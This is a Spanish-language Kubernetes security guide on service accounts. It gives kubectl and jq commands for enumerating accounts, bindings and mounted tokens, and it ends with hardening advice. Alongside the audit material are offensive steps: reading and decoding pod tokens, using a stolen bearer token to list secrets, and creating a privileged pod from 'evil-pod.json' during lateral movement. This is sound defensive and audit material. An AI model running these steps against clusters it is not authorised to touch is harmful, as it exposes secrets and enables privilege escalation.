Cuentas de servicio
Las cuentas de servicio (Service Accounts - SA) son identidades que los pods usan para autenticarse en la API de Kubernetes. Cuando tienen privilegios excesivos o están mal configuradas, los atacantes pueden explotarlas para escalar privilegios, moverse lateralmente y persistir en el clúster.
Enumeración
Listar SAs por namespace
kubectl get serviceaccounts -A
SAs con token automontado habilitado
Por defecto automountServiceAccountToken es true. Cualquier pod que use una SA con acceso excesivo hereda ese acceso.
kubectl get serviceaccounts -A -o json | jq -r '
.items[]
| select((.automountServiceAccountToken // true) == true)
| [.metadata.namespace, .metadata.name] | @tsv'
Pods que montan un token SA
kubectl get pods -A -o json | jq -r '
.items[]
| select(.spec.automountServiceAccountToken != false)
| [.metadata.namespace, .metadata.name, (.spec.serviceAccountName // "default")]
| @tsv'
Pods que usan la SA por defecto
kubectl get pods -A -o json | jq -r '
.items[]
| select(
(.spec.serviceAccountName == "default" or .spec.serviceAccountName == null)
and (.spec.automountServiceAccountToken != false)
)
| [.metadata.namespace, .metadata.name] | @tsv'
Permisos RBAC
RoleBindings de una SA concreta
SA_NAME="my-sa"
SA_NS="default"
kubectl get rolebindings,clusterrolebindings -A -o json | jq -r --arg sa "$SA_NAME" --arg ns "$SA_NS" '
.items[]
| select(
.subjects[]?
| (.kind == "ServiceAccount") and (.name == $sa) and (.namespace == $ns)
)
| [.kind, .metadata.namespace, .metadata.name, .roleRef.kind, .roleRef.name]
| @tsv'
SAs vinculadas a cluster-admin
kubectl get clusterrolebindings -o json | jq -r '
.items[]
| select(.roleRef.name == "cluster-admin")
| .subjects[]?
| select(.kind == "ServiceAccount")
| [.namespace, .name]
| @tsv'
Todas las SAs con ClusterRoleBindings
kubectl get clusterrolebindings -o json | jq -r '
.items[]
| . as $crb
| .subjects[]?
| select(.kind == "ServiceAccount")
| [$crb.roleRef.name, .namespace, .name]
| @tsv'
Permisos de una SA (can-i)
kubectl auth can-i --list --as=system:serviceaccount:<namespace>:<sa-name>
# Verificar acción concreta
kubectl auth can-i get secrets --as=system:serviceaccount:default:my-sa -n kube-system
Tokens SA
Encontrar tokens montados en un pod
kubectl exec -it <pod> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
Decodificar el token JWT
TOKEN=$(kubectl exec -it <pod> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | jq .
Usar el token para llamar a la API
TOKEN="<token>"
APISERVER="https://<api-server>:6443"
curl -sk -H "Authorization: Bearer $TOKEN" "$APISERVER/api/v1/namespaces/default/secrets"
Tokens de SA almacenados en Secrets (método antiguo, pre-1.24)
kubectl get secrets -A -o json | jq -r '
.items[]
| select(.type == "kubernetes.io/service-account-token")
| [.metadata.namespace, .metadata.name, .metadata.annotations["kubernetes.io/service-account.name"]]
| @tsv'
Secretos accesibles por SA
Listar secretos a los que tiene acceso una SA
kubectl auth can-i get secrets --as=system:serviceaccount:<namespace>:<sa-name> -n <namespace>
kubectl auth can-i list secrets --as=system:serviceaccount:<namespace>:<sa-name> -n <namespace>
SAs con acceso a secretos de kube-system
kubectl get rolebindings,clusterrolebindings -A -o json | jq -r '
.items[]
| select(
(.roleRef.name | test("admin|edit|view|secret")) and
(.subjects[]? | .kind == "ServiceAccount")
)
| [.kind, .metadata.namespace, .metadata.name, .roleRef.name,
(.subjects[] | select(.kind == "ServiceAccount") | "\(.namespace)/\(.name)")]
| @tsv'
Movimiento lateral desde un pod comprometido
Una vez dentro de un pod con token montado:
# Variables desde el entorno del contenedor
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# Listar pods del namespace actual
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NS/pods"
# Listar secretos
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NS/secrets"
# Crear un pod privilegiado (si se tiene permiso)
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-X POST "$APISERVER/api/v1/namespaces/$NS/pods" \
-d @evil-pod.json
Hardening
| Medida | Descripción |
|---|---|
automountServiceAccountToken: false | Desactivar en pods/SAs que no necesitan acceso a la API |
| RBAC de mínimo privilegio | Evitar cluster-admin; usar roles específicos por recurso y verbo |
| Tokens proyectados con expiración | Usar serviceAccountToken projection en lugar de Secrets legacy |
| Separación de namespaces | Una SA por servicio; nunca compartir SAs entre aplicaciones |
Auditar con kubectl auth can-i --list | Revisar periódicamente los permisos efectivos de cada SA |